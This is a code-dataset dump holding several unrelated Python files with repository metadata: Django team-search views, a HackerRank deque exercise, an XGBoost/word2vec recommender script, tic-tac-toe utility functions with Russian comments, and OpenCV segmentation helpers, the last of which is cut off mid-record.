"line_number": 2, "usage_type": "attribute"}, {"api_name": "django.setup", "line_number": 3, "usage_type": "call"}, {"api_name": "faker.Faker", "line_number": 9, "usage_type": "call"}, {"api_name": "product.models.Brand.objects.create", "line_number": 15, "usage_type": "call"}, {"api_name": "product.models.Brand.objects", "line_number": 15, "usage_type": "attribute"}, {"api_name": "product.models.Brand", "line_number": 15, "usage_type": "name"}, {"api_name": "random.randint", "line_number": 17, "usage_type": "call"}, {"api_name": "product.models.Product.objects.create", "line_number": 27, "usage_type": "call"}, {"api_name": "product.models.Product.objects", "line_number": 27, "usage_type": "attribute"}, {"api_name": "product.models.Product", "line_number": 27, "usage_type": "name"}, {"api_name": "random.randint", "line_number": 30, "usage_type": "call"}, {"api_name": "random.uniform", "line_number": 31, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 32, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 34, "usage_type": "call"}, {"api_name": "product.models.Brand.objects.get", "line_number": 35, "usage_type": "call"}, {"api_name": "product.models.Brand.objects", "line_number": 35, "usage_type": "attribute"}, {"api_name": "product.models.Brand", "line_number": 35, "usage_type": "name"}, {"api_name": "random.randint", "line_number": 35, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 36, "usage_type": "call"}]} {"seq_id": "35591814287", "text": "from functools import reduce\n\nfrom django.db.models import Q\nfrom django.shortcuts import render, redirect\nfrom django.contrib import messages\nfrom django.http import JsonResponse\nfrom django.contrib.auth.models import User\nfrom django.db import connection\n\nfrom core.exceptions import NoResultsError, PrivateProfileError, UnknownError\nfrom core.generate_view_helper import get_team, get_teams\n\nfrom players.models import (\n DataUsersTeams,\n DataUsersLeagueteamlinks,\n DataUsersLeagues,\n)\n\n\ndef ajax_team_by_name(request):\n if request.user.is_authenticated:\n current_user = request.user\n else:\n current_user = \"guest\"\n\n teams_found = list()\n\n teamname = request.GET.get('teamname', None)\n if teamname and len(teamname) > 1:\n teamname = teamname.split() # split space\n query = reduce(lambda x, y: x | y, [\n Q(teamname__unaccent__icontains=name) for name in teamname])\n\n teams = list(DataUsersTeams.objects.for_user(current_user).filter(\n query).all().order_by('-overallrating', 'teamid')[:12].iterator())\n\n for team in teams:\n t = dict()\n t['teamid'] = team.teamid\n t['overallrating'] = team.overallrating\n t['teamname'] = team.teamname\n teams_found.append(t)\n\n data = {\n 'teams': teams_found,\n }\n\n return JsonResponse(data)\n\n\ndef ajax_leagues(request):\n if request.user.is_authenticated:\n current_user = request.user\n else:\n current_user = \"guest\"\n\n selected = request.GET.get('selected', None)\n\n if selected:\n selected = list(selected.split(\",\"))\n leagues = list(DataUsersLeagues.objects.for_user(\n current_user).all().filter(Q(leagueid__in=selected)).values())\n else:\n leagues = list(DataUsersLeagues.objects.for_user(\n current_user).all().values())\n\n data = {\n 'leagues': leagues,\n }\n\n return JsonResponse(data)\n\n\ndef teams(request):\n try:\n context = get_teams(request, paginate=True)\n return render(request, 'teams/teams.html', context=context)\n except (NoResultsError, PrivateProfileError, UnknownError) as e:\n messages.error(request, e)\n return redirect('home')\n\n\ndef team(request, teamid):\n try:\n context = get_team(request, teamid=teamid)\n return render(request, 'teams/team.html', context=context)\n except (NoResultsError, PrivateProfileError, UnknownError) as e:\n messages.error(request, e)\n return redirect('teams')\n", "repo_name": "ah8ad3/FIFA-Tracker", "sub_path": "FIFATracker/teams/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 2554, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "70", "api": [{"api_name": "functools.reduce", "line_number": 31, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 32, "usage_type": "call"}, {"api_name": "players.models.DataUsersTeams.objects.for_user", "line_number": 34, "usage_type": "call"}, {"api_name": "players.models.DataUsersTeams.objects", "line_number": 34, "usage_type": "attribute"}, {"api_name": "players.models.DataUsersTeams", "line_number": 34, "usage_type": "name"}, {"api_name": "django.http.JsonResponse", "line_number": 48, "usage_type": "call"}, {"api_name": "players.models.DataUsersLeagues.objects.for_user", "line_number": 61, "usage_type": "call"}, {"api_name": "players.models.DataUsersLeagues.objects", "line_number": 61, "usage_type": "attribute"}, {"api_name": "players.models.DataUsersLeagues", "line_number": 61, "usage_type": "name"}, {"api_name": "django.db.models.Q", "line_number": 62, "usage_type": "call"}, {"api_name": "players.models.DataUsersLeagues.objects.for_user", "line_number": 64, "usage_type": "call"}, {"api_name": "players.models.DataUsersLeagues.objects", "line_number": 64, "usage_type": "attribute"}, {"api_name": "players.models.DataUsersLeagues", "line_number": 64, "usage_type": "name"}, {"api_name": "django.http.JsonResponse", "line_number": 71, "usage_type": "call"}, {"api_name": "core.generate_view_helper.get_teams", "line_number": 76, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 77, "usage_type": "call"}, {"api_name": "core.exceptions.NoResultsError", "line_number": 78, "usage_type": "name"}, {"api_name": "core.exceptions.PrivateProfileError", "line_number": 78, "usage_type": "name"}, {"api_name": "core.exceptions.UnknownError", "line_number": 78, "usage_type": "name"}, {"api_name": "django.contrib.messages.error", "line_number": 79, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 79, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 80, "usage_type": "call"}, {"api_name": "core.generate_view_helper.get_team", "line_number": 85, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 86, "usage_type": "call"}, {"api_name": "core.exceptions.NoResultsError", "line_number": 87, "usage_type": "name"}, {"api_name": "core.exceptions.PrivateProfileError", "line_number": 87, "usage_type": "name"}, {"api_name": "core.exceptions.UnknownError", "line_number": 87, "usage_type": "name"}, {"api_name": "django.contrib.messages.error", "line_number": 88, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 88, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 89, "usage_type": "call"}]} {"seq_id": "37086571890", "text": "'''\nProblem: Collections.deque().\nDescription: Perform the given commands\non a deque, e.g. append(), pop(),\npopleft(), appendleft().\nPoints: 20.\n\n'''\nfrom collections import deque\n\n\ndef perform_cmd(d, command):\n command = command.split()\n if command[0] == 'append':\n d.append(int(command[1]))\n elif command[0] == 'pop':\n d.pop()\n elif command[0] == 'popleft':\n d.popleft()\n elif command[0] == 'appendleft':\n d.appendleft(int(command[1]))\n\n\nif __name__ == '__main__':\n deq = deque()\n num_choices = int(input())\n\n for i in range(num_choices):\n operation = input()\n perform_cmd(deq, operation)\n\n print(deq)\n\n# for i in deq:\n# print(i, end=\" \")\n", "repo_name": "Ersain/hackerrank", "sub_path": "Solve Python/Collection/Deque/Deque.py", "file_name": "Deque.py", "file_ext": "py", "file_size_in_byte": 720, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "70", "api": [{"api_name": "collections.deque", "line_number": 25, "usage_type": "call"}]} {"seq_id": "24185929142", "text": "import numpy as np\nimport pandas as pd\nfrom scipy import sparse as ssp\nimport os\nimport glob\nimport math\nimport pickle\nimport datetime\nfrom sklearn.preprocessing import LabelEncoder,OneHotEncoder,LabelBinarizer\nfrom sklearn.ensemble import RandomForestRegressor\nfrom sklearn.utils import resample\nfrom sklearn.decomposition import TruncatedSVD\n# from keras.callbacks import ModelCheckpoint\n# from keras import backend as K\n# from keras.layers import Input, Embedding, LSTM, Dense,Flatten, Dropout, merge,Convolution1D,MaxPooling1D,Lambda\n# from keras.layers.normalization import BatchNormalization\n# from keras.optimizers import SGD\n# from keras.layers.advanced_activations import PReLU,LeakyReLU,ELU,SReLU\n# from keras.models import Model\n# from keras.utils.visualize_util import plot\nfrom gensim import corpora, models, similarities\nfrom collections import defaultdict\nfrom ml_metrics import rmse\nimport xgboost as xgb\nseed = 1024\nnp.random.seed(seed)\ndims = 32\n\n\ndef user_matrix(X,y,num_u,num_i):\n return ssp.csr_matrix((y,(X[:,0],X[:,1])),shape=(num_u,num_i), dtype=np.int8)\n\n\ndef item_matrix(X,y,num_u,num_i):\n return ssp.csr_matrix((y,(X[:,1],X[:,0])),shape=(num_i,num_u), dtype=np.int8)\n\ndef get_user_vec(u,sentences,model):\n vector = np.zeros(dims)\n for i in sentences[u]:\n vector+=model[i]\n return vector\n\n\nif __name__ == '__main__':\n\n use_all=False\n\n path = \"E:\\\\RSdata\\\\\"\n features = ['uid','iid']\n score = 'score'\n\n X_train = pd.read_csv(path+\"X_train.csv\")\n X_test = pd.read_csv(path+\"X_test.csv\")\n test = pd.read_csv(path+\"test.csv\")\n\n y_train = X_train[score].values\n X_train = X_train[features].values\n\n y_test = X_test[score].values\n X_test = X_test[features].values\n\n test = test[features].values\n\n \n\n \n \n # X = np.concatenate([X_train,X_test,test])\n \n\n\n sentences = pd.read_pickle(path+'sentences.pkl')\n model = models.Word2Vec.load(path+'w2v_item_based.mdl')\n\n X_train,y_train = resample(X_train,y_train,n_samples = X_train.shape[0]/10, random_state =seed)\n X_test,y_test = resample(X_test,y_test,n_samples = X_test.shape[0]/10, random_state =seed)\n \n s = []\n \n for xx in X_train:\n u = xx[0]\n i = xx[1]\n u = 'u%s'%u\n i = 'i%s'%i\n u_vect = get_user_vec(u,sentences,model)\n i_vect = np.zeros(dims)\n if i in model.vocab:\n i_vect += model[i]\n tmp = np.concatenate([u_vect,i_vect]).ravel()\n s.append(tmp)\n\n X_train = np.array(s)\n del s\n \n s = []\n for xx in X_test:\n u = xx[0]\n i = xx[1]\n u = 'u%s'%u\n i = 'i%s'%i\n u_vect = get_user_vec(u,sentences,model)\n i_vect = np.zeros(dims)\n if i in model.vocab:\n i_vect += model[i]\n tmp = np.concatenate([u_vect,i_vect]).ravel()\n s.append(tmp)\n\n X_test = np.array(s)\n del s\n \n print(X_train.shape,X_test.shape)\n \n clf = xgb.XGBRegressor(\n learning_rate=0.3,\n n_estimators=500,\n min_child_weight=1,\n max_depth=6,\n subsample=0.7,\n colsample_bytree= 0.7,\n reg_alpha=0,\n reg_lambda=0.1,\n gamma=0,\n max_delta_step=0,\n seed=seed,\n )\n \n clf.fit(\n X_train,\n y_train,\n early_stopping_rounds=150,\n eval_set=[(X_train, y_train),(X_test, y_test)],\n eval_metric='rmse',\n )\n \n y_preds = clf.predict(X_test).ravel()\n score = rmse(y_test,y_preds)\n print('xgb rmse score',score)\n ", "repo_name": "qqgeogor/RecomendationDL", "sub_path": "xgb_w2v.py", "file_name": "xgb_w2v.py", "file_ext": "py", "file_size_in_byte": 3587, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "70", "api": [{"api_name": "numpy.random.seed", "line_number": 26, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 26, "usage_type": "attribute"}, {"api_name": "scipy.sparse.csr_matrix", "line_number": 31, "usage_type": "call"}, {"api_name": "scipy.sparse", "line_number": 31, "usage_type": "name"}, {"api_name": "numpy.int8", "line_number": 31, "usage_type": "attribute"}, {"api_name": "scipy.sparse.csr_matrix", "line_number": 35, "usage_type": "call"}, {"api_name": "scipy.sparse", "line_number": 35, "usage_type": "name"}, {"api_name": "numpy.int8", "line_number": 35, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 38, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 52, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 53, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 54, "usage_type": "call"}, {"api_name": "pandas.read_pickle", "line_number": 72, "usage_type": "call"}, {"api_name": "gensim.models.Word2Vec.load", "line_number": 73, "usage_type": "call"}, {"api_name": "gensim.models.Word2Vec", "line_number": 73, "usage_type": "attribute"}, {"api_name": "gensim.models", "line_number": 73, "usage_type": "name"}, {"api_name": "sklearn.utils.resample", "line_number": 75, "usage_type": "call"}, {"api_name": "sklearn.utils.resample", "line_number": 76, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 86, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 89, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 92, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 102, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 105, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 108, "usage_type": "call"}, {"api_name": "xgboost.XGBRegressor", "line_number": 113, "usage_type": "call"}, {"api_name": "ml_metrics.rmse", "line_number": 136, "usage_type": "call"}]} {"seq_id": "38718734787", "text": "\"\"\"\nВспомогательные функции.\n\"\"\"\n\n# стандартная библиотека\nfrom configparser import ConfigParser\nfrom shutil import get_terminal_size\nfrom typing import Literal\n# проект\nimport bot\nimport data\n\n\ndef read_players() -> bool:\n \"\"\"Читает файл данных игроков, сохраняет информацию в соответствующую глобальную структуру данных. Возвращает True, если в файле данных игроков есть хотя бы одна запись, иначе False.\"\"\"\n config = ConfigParser()\n config.read(data.PLAYERS_PATH)\n data.players_db = {\n player_name: {\n key: int(value)\n for key, value in config[player_name].items()\n }\n for player_name in config.sections()\n }\n return bool(config)\n\n\ndef read_saves() -> None:\n \"\"\"Читает файл данных сохранений, сохраняет информацию в соответствующую глобальную структуру данных.\"\"\"\n saves = data.SAVES_PATH.read_text(encoding='utf-8').split('\\n')\n for save in saves:\n try:\n players, turns, dim = save.split('!')\n except ValueError:\n return None\n else:\n data.saves_db |= {\n tuple(players.split(',')): {\n 'dim': int(dim),\n 'turns': {\n int(turn): data.TOKENS[i%2]\n for i, turn in enumerate(turns.split(','))\n },\n }\n }\n\n\ndef write_players() -> None:\n \"\"\"Записывает в файл данных игроков информацию из соответствующей глобальной структуры данных.\"\"\"\n config = ConfigParser()\n config.read_dict(data.players_db)\n with open(data.PLAYERS_PATH, 'w', encoding='utf-8') as fileout:\n config.write(fileout)\n\n\ndef write_saves() -> None:\n \"\"\"Записывает в файл данных сохранений информацию из соответствующей глобальной структуры данных.\"\"\"\n saves = '\\n'.join(\n f\"{','.join(players)}!{','.join(map(str, save['turns']))}!{save['dim']}\"\n for players, save in data.saves_db.items()\n )\n data.SAVES_PATH.write_text(saves, encoding='utf-8')\n\n\ndef dim_input() -> int:\n \"\"\"Циклически до корректного запрашивает у игрока размер игрового поля и возвращает преобразованный в число новый размер.\"\"\"\n while True:\n dim = input(data.MESSAGES[\"ввод размерности\"])\n if data.DIM_PATTERN.fullmatch(dim):\n return int(dim)\n print(data.MESSAGES[\"некорректная размерность\"])\n\n\ndef change_dim(new_dim: int) -> None:\n \"\"\"Устанавливает новый размер игрового поля, пересчитывает все связанные с размером глобальные переменные.\"\"\"\n data.dim = new_dim\n data.dim_range = range(new_dim)\n data.all_cells = new_dim**2\n data.all_cells_range = range(1, data.all_cells+1)\n data.wins = win_combinations()\n data.field = field_template()\n width = max(len(str(n)) for n in data.all_cells_range)\n ft = field_template(data_width=width)\n data.field_with_coords = ft.format(*(f'{n:^{width}}' for n in data.all_cells_range))\n data.board = dict.fromkeys(data.all_cells_range, ' ')\n data.MESSAGES['ход не в диапазоне'] = f' ! номер ячейки должен находиться в диапазоне от 1 до {data.all_cells} включительно'\n data.START_MATRICES = (\n bot.calc_sm_cross(),\n bot.calc_sm_zero()\n )\n\n\ndef win_combinations() -> list[set[int]]:\n \"\"\"Вычисляет все выигрышные комбинации для текущего размера игрового поля.\"\"\"\n wins = [\n set(data.all_cells_range[::data.dim+1]),\n set(data.all_cells_range[data.dim-1:data.all_cells-data.dim+1:data.dim-1]),\n ]\n wins += [\n set(data.all_cells_range[i:i+data.dim])\n for i in range(0, data.all_cells, data.dim)\n ]\n wins += [\n set(data.all_cells_range[i::data.dim])\n for i in data.dim_range\n ]\n return wins\n\n\ndef clear(del_save: bool = False) -> None:\n \"\"\"Возвращает глобальные переменные, связанные с игровым процессом, к состоянию до начала партии.\"\"\"\n if del_save:\n data.saves_db.pop(tuple(data.players), None)\n data.players = [data.authorized]\n data.bot_level = None\n data.turns = {}\n\n\ndef field_template(data_width: int = None) -> str:\n \"\"\"Конструирует шаблон игрового поля для текущего размера. Опционально может быть передана ширина столбца без учёта отступов (применяется ко всем столбцам).\"\"\"\n if data_width is None:\n field_width = data.dim*(3 + max(len(t) for t in data.TOKENS)) - 1\n else:\n # ширина данных в столбце по умолчанию составляет один символ для данных\n field_width = data.dim*(3 + data_width) - 1\n v_sep, h_sep = '|', '—'\n # по одному пробелу слева и справа от подстановочного места — отступы от данных до вертикальных разделителей\n v_sep = v_sep.join([' {} ']*data.dim)\n h_sep = f'\\n{h_sep*field_width}\\n'\n return h_sep.join([v_sep]*data.dim)\n\n\ndef concatenate_rows(\n multiline1: str,\n multiline2: str,\n *multilines: str,\n padding: int = 8\n) -> str:\n \"\"\"Объединяет произвольное количество строк текстов-колонок в одну строку с несколькими колонками и отступом между ними.\n\n :param padding: ширина отступа между колонками в пробелах\n \"\"\"\n multilines = multiline1, multiline2, *multilines\n multilines = [m.split('\\n') for m in multilines]\n padding = ' '*padding\n return '\\n'.join(\n padding.join(row)\n for row in zip(*multilines)\n )\n\n\ndef header_text(\n text: str,\n *,\n level: Literal[1, 2],\n v_fill: str = '#',\n h_fill: str = '='\n) -> str:\n \"\"\"Возвращает переданную строку, форматированную как заголовок. Форматирование отличается для разных уровней заголовка. Также могут быть изменены символы-заполнители.\"\"\"\n term_width = get_terminal_size()[0] - 1\n data_width = term_width - 12\n text_len = len(text)\n\n if level == 1:\n text = text.upper()\n edge = v_fill + h_fill*(term_width-2) + v_fill\n padding = v_fill + ' '*(term_width-2) + v_fill\n text = '\\n'.join(\n v_fill + line.center(term_width - 2) + v_fill\n for line in columnize(text, term_width - 6)\n )\n return f'{edge}\\n{padding}\\n{text}\\n{padding}\\n{edge}'\n\n elif level == 2:\n text = text.upper()\n if text_len <= data_width:\n return f' {text} '.center(term_width, h_fill)\n else:\n return '\\n'.join(\n h_fill*4 + line.center(data_width + 4) + h_fill*4\n for line in columnize(text, data_width)\n )\n\n # можно добавить дополнительные уровни заголовков с собственным форматированием\n # elif level == 3:\n # ...\n\n else:\n raise ValueError\n\n\ndef columnize(text: str, column_width: int) -> list[str]:\n \"\"\"Разбивает переданную строку на отдельные слова и формирует из слов строки, длины которых не превышают заданное значение. Возвращает список строк, к которым впоследствии может быть применено любое выравнивание.\"\"\"\n multiline, line_len, i = [[]], 0, 0\n for word in text.split():\n word_len = len(word)\n if line_len + word_len + len(multiline[i]) <= column_width:\n multiline[i] += [word]\n line_len += word_len\n else:\n multiline += [[word]]\n line_len = word_len\n i += 1\n return [' '.join(line) for line in multiline]\n\n\ndef print_table(\n *data_list: list,\n align: list[Literal['ljust', 'center', 'rjust']]\n) -> None:\n \"\"\"Выводит в stdout переданные списки данных в табличном виде без горизонтальных разделителей. Для корректного вывода количество элементов в каждом списке (количество столбцов) должно быть одинаковым. Отступы до вертикальных разделителей всегда один пробел.\n\n :param data_list: произвольное количество списков произвольных данных\n :param align: настройка выравнивания в столбцах таблицы\n \"\"\"\n widths = [\n max(len(str(elem)) for elem in column)\n for column in zip(*data_list)\n ]\n print('\\n'.join(\n f\" | {' | '.join(getattr(str(cell), align[i])(widths[i]) for i, cell in enumerate(row))} | \"\n for row in data_list\n ))\n\n", "repo_name": "TOP-Python321/_reference_project1", "sub_path": "src/utils.py", "file_name": "utils.py", "file_ext": "py", "file_size_in_byte": 10003, "program_lang": "python", "lang": "ru", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "configparser.ConfigParser", "line_number": 16, "usage_type": "call"}, {"api_name": "data.PLAYERS_PATH", "line_number": 17, "usage_type": "attribute"}, {"api_name": "data.players_db", "line_number": 18, "usage_type": "attribute"}, {"api_name": "data.SAVES_PATH.read_text", "line_number": 30, "usage_type": "call"}, {"api_name": "data.SAVES_PATH", "line_number": 30, "usage_type": "attribute"}, {"api_name": "data.saves_db", "line_number": 37, "usage_type": "attribute"}, {"api_name": "data.TOKENS", "line_number": 41, "usage_type": "attribute"}, {"api_name": "configparser.ConfigParser", "line_number": 50, "usage_type": "call"}, {"api_name": "data.players_db", "line_number": 51, "usage_type": "attribute"}, {"api_name": "data.PLAYERS_PATH", "line_number": 52, "usage_type": "attribute"}, {"api_name": "data.saves_db.items", "line_number": 60, "usage_type": "call"}, {"api_name": "data.saves_db", "line_number": 60, "usage_type": "attribute"}, {"api_name": "data.SAVES_PATH.write_text", "line_number": 62, "usage_type": "call"}, {"api_name": "data.SAVES_PATH", "line_number": 62, "usage_type": "attribute"}, {"api_name": "data.MESSAGES", "line_number": 68, "usage_type": "attribute"}, {"api_name": "data.DIM_PATTERN.fullmatch", "line_number": 69, "usage_type": "call"}, {"api_name": "data.DIM_PATTERN", "line_number": 69, "usage_type": "attribute"}, {"api_name": "data.MESSAGES", "line_number": 71, "usage_type": "attribute"}, {"api_name": "data.dim", "line_number": 76, "usage_type": "attribute"}, {"api_name": "data.dim_range", "line_number": 77, "usage_type": "attribute"}, {"api_name": "data.all_cells", "line_number": 78, "usage_type": "attribute"}, {"api_name": "data.all_cells_range", "line_number": 79, "usage_type": "attribute"}, {"api_name": "data.all_cells", "line_number": 79, "usage_type": "attribute"}, {"api_name": "data.wins", "line_number": 80, "usage_type": "attribute"}, {"api_name": "data.field", "line_number": 81, "usage_type": "attribute"}, {"api_name": "data.all_cells_range", "line_number": 82, "usage_type": "attribute"}, {"api_name": "data.field_with_coords", "line_number": 84, "usage_type": "attribute"}, {"api_name": "data.all_cells_range", "line_number": 84, "usage_type": "attribute"}, {"api_name": "data.board", "line_number": 85, "usage_type": "attribute"}, {"api_name": "data.all_cells_range", "line_number": 85, "usage_type": "attribute"}, {"api_name": "data.MESSAGES", "line_number": 86, "usage_type": "attribute"}, {"api_name": "data.all_cells", "line_number": 86, "usage_type": "attribute"}, {"api_name": "data.START_MATRICES", "line_number": 87, "usage_type": "attribute"}, {"api_name": "bot.calc_sm_cross", "line_number": 88, "usage_type": "call"}, {"api_name": "bot.calc_sm_zero", "line_number": 89, "usage_type": "call"}, {"api_name": "data.all_cells_range", "line_number": 96, "usage_type": "attribute"}, {"api_name": "data.dim", "line_number": 96, "usage_type": "attribute"}, {"api_name": "data.all_cells_range", "line_number": 97, "usage_type": "attribute"}, {"api_name": "data.dim", "line_number": 97, "usage_type": "attribute"}, {"api_name": "data.all_cells", "line_number": 97, "usage_type": "attribute"}, {"api_name": "data.all_cells_range", "line_number": 100, "usage_type": "attribute"}, {"api_name": "data.dim", "line_number": 100, "usage_type": "attribute"}, {"api_name": "data.all_cells", "line_number": 101, "usage_type": "attribute"}, {"api_name": "data.dim", "line_number": 101, "usage_type": "attribute"}, {"api_name": "data.all_cells_range", "line_number": 104, "usage_type": "attribute"}, {"api_name": "data.dim", "line_number": 104, "usage_type": "attribute"}, {"api_name": "data.dim_range", "line_number": 105, "usage_type": "attribute"}, {"api_name": "data.saves_db.pop", "line_number": 113, "usage_type": "call"}, {"api_name": "data.saves_db", "line_number": 113, "usage_type": "attribute"}, {"api_name": "data.players", "line_number": 113, "usage_type": "attribute"}, {"api_name": "data.players", "line_number": 114, "usage_type": "attribute"}, {"api_name": "data.authorized", "line_number": 114, "usage_type": "attribute"}, {"api_name": "data.bot_level", "line_number": 115, "usage_type": "attribute"}, {"api_name": "data.turns", "line_number": 116, "usage_type": "attribute"}, {"api_name": "data.dim", "line_number": 122, "usage_type": "attribute"}, {"api_name": "data.TOKENS", "line_number": 122, "usage_type": "attribute"}, {"api_name": "data.dim", "line_number": 125, "usage_type": "attribute"}, {"api_name": "data.dim", "line_number": 128, "usage_type": "attribute"}, {"api_name": "data.dim", "line_number": 130, "usage_type": "attribute"}, {"api_name": "typing.Literal", "line_number": 155, "usage_type": "name"}, {"api_name": "shutil.get_terminal_size", "line_number": 160, "usage_type": "call"}, {"api_name": "typing.Literal", "line_number": 209, "usage_type": "name"}]} {"seq_id": "26720554777", "text": "import cv2\nimport numpy as np\nimport xml.etree.ElementTree as ET\n\ndef simple_show_mask(mask):\n '''\n 简单显示mask\n :param mask:\n :return:\n '''\n _, mask_binary = cv2.threshold(mask, 0, 255, cv2.THRESH_BINARY)\n return mask_binary\n\ndef draw_mask_in_img(image, mask, draw_boundingRect=True,\n draw_minAreaRect=True,draw_contour=True):\n '''\n 在原图上画mask的各种图形\n :param image: 原图\n :param mask: 预测图\n :param draw_boundingRect: 是否画bbox\n :param draw_minAreaRect: 是否画最小外接矩形\n :param draw_contour: 是否画轮廓\n :return: 画好的图\n '''\n height = image.shape[0]\n width = image.shape[1]\n mask = cv2.resize(mask, (width,height),cv2.INTER_NEAREST)\n _, mask_binary = cv2.threshold(mask, 0, 255, cv2.THRESH_BINARY)\n contours,hierarchy= cv2.findContours(mask, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_NONE)\n\n if len(contours)>0:\n for i in range(len(contours)):\n if draw_boundingRect:\n x, y, w, h = cv2.boundingRect(contours[i])\n xmin, ymin, xmax, ymax = x, y, x + w, y + h\n cv2.rectangle(image,(xmin,ymin),(xmax,ymax),(255,0,0),5)\n if draw_minAreaRect:\n rotated_rect = cv2.minAreaRect(contours[i])\n box = cv2.boxPoints(rotated_rect)\n box = np.int0(box)\n cv2.drawContours(image, [box], 0, (0, 255, 0), 5)\n if draw_contour:\n cv2.drawContours(image, contours, i, (0,0,255),5)\n return image\n\ndef crop_imgs(image, mask):\n '''\n 根据预测，将原图像中的分割物体割出来\n :param image: 原图\n :param mask: 预测图\n :return: 分割后的小图\n '''\n height = image.shape[0]\n width = image.shape[1]\n mask = cv2.resize(mask, (width, height), cv2.INTER_NEAREST)\n _, mask_binary = cv2.threshold(mask, 0, 255, cv2.THRESH_BINARY)\n contours, hierarchy = cv2.findContours(mask, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_NONE)\n num_contours = len(contours)\n rotated_img=[num_contours]\n for i in range(num_contours):\n rotated_rect = cv2.minAreaRect(contours[i])# 0为中心点坐标，1为宽高\n\n rect_max = int(rotated_rect[1][0]) if rotated_rect[1][0] > rotated_rect[1][1] else int(rotated_rect[1][1])\n rect_min = int(rotated_rect[1][1]) if rotated_rect[1][0] > rotated_rect[1][1] else int(rotated_rect[1][0])\n\n angle = rotated_rect[2] if abs(rotated_rect[2])<45 else (rotated_rect[2]+90)\n M = cv2.getRotationMatrix2D((int(rotated_rect[0][0]),int(rotated_rect[0][1])),angle,1)\n rotated_img[i] = cv2.warpAffine(image, M, (width,height))\n rotated_img[i] = cv2.getRectSubPix(rotated_img[i], (rect_max, rect_min),\n (int(rotated_rect[0][0]), int(rotated_rect[0][1])))\n return rotated_img\n\ndef seg_map_iou(image, mask, xml_path=None, png_path=None):\n '''\n 单张图像分割效果评估，标注IOU\n :param image: 图像\n :param mask: 预测的mask\n :param xml_path: xml标注路径\n :param png_path: png标注路径\n :return:\n '''\n img_h = image.shape[0]\n img_w = image.shape[1]\n mask_h = mask.shape[0]\n mask_w = mask.shape[1]\n if not (img_h==mask_h and img_w==mask_w):\n mask = cv2.resize(mask, (img_w,img_h),interpolation=cv2.INTER_NEAREST)\n _, seg_mask = cv2.threshold(mask, 0, 255, cv2.THRESH_BINARY)\n truth_mask = []\n if xml_path:\n tree = ET.parse(xml_path)\n objs = tree.findall('object')\n truth_mask = np.zeros([img_h, img_w], dtype=np.uint8)\n for obj in objs:\n points_x = obj.find('polygen').find('points_x').text.split(',')\n points_y = obj.find('polygen').find('points_y').text.split(',')\n if points_x[-1] == '':\n point_num = len(points_x) - 1\n else:\n point_num = len(points_x)\n ps = np.zeros([point_num, 2], dtype=np.int32)\n for i in range(point_num):\n if points_x[i] == '':\n continue\n ps[i] = (int(float(points_x[i])), int(float(points_y[i])))\n cv2.polylines(truth_mask, [ps], 1, 0, 1) # img:图像,顶点集，是否闭合，颜色，线宽度\n cv2.fillPoly(truth_mask, [ps], 255)\n elif png_path:\n truth_mask = cv2.imdecode(np.fromfile(png_path,dtype=np.uint8),-1)\n else:\n print('没有标注')\n Union_mask = cv2.bitwise_or(truth_mask, seg_mask)\n Union_contours, hierarchy = cv2.findContours(Union_mask, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_NONE)\n Union_area = 0\n if len(Union_contours) > 0:\n for i in range(len(Union_contours)):\n Union_area += cv2.contourArea(Union_contours[i])\n\n Intersection_mask = cv2.bitwise_and(truth_mask, seg_mask)\n Intersection_contours, hierarchy = cv2.findContours(Intersection_mask, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_NONE)\n Intersection_area = 0\n if len(Intersection_contours) > 0:\n for i in range(len(Intersection_contours)):\n Intersection_area += cv2.contourArea(Intersection_contours[i])\n\n return float(Intersection_area)/Union_area", "repo_name": "tdf1995/python_code", "sub_path": "retoo_api/test/segmentation/segmentation_assist.py", "file_name": "segmentation_assist.py", "file_ext": "py", "file_size_in_byte": 5209, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "cv2.threshold", "line_number": 11, "usage_type": "call"}, {"api_name": "cv2.THRESH_BINARY", "line_number": 11, "usage_type": "attribute"}, {"api_name": "cv2.resize", "line_number": 27, "usage_type": "call"}, {"api_name": "cv2.INTER_NEAREST", "line_number": 27, "usage_type": "attribute"}, {"api_name": "cv2.threshold", "line_number": 28, "usage_type": "call"}, {"api_name": "cv2.THRESH_BINARY", "line_number": 28, "usage_type": "attribute"}, {"api_name": "cv2.findContours", "line_number": 29, "usage_type": "call"}, {"api_name": "cv2.RETR_EXTERNAL", "line_number": 29, "usage_type": "attribute"}, {"api_name": "cv2.CHAIN_APPROX_NONE", "line_number": 29, "usage_type": "attribute"}, {"api_name": "cv2.boundingRect", "line_number": 34, "usage_type": "call"}, {"api_name": "cv2.rectangle", "line_number": 36, "usage_type": "call"}, {"api_name": "cv2.minAreaRect", 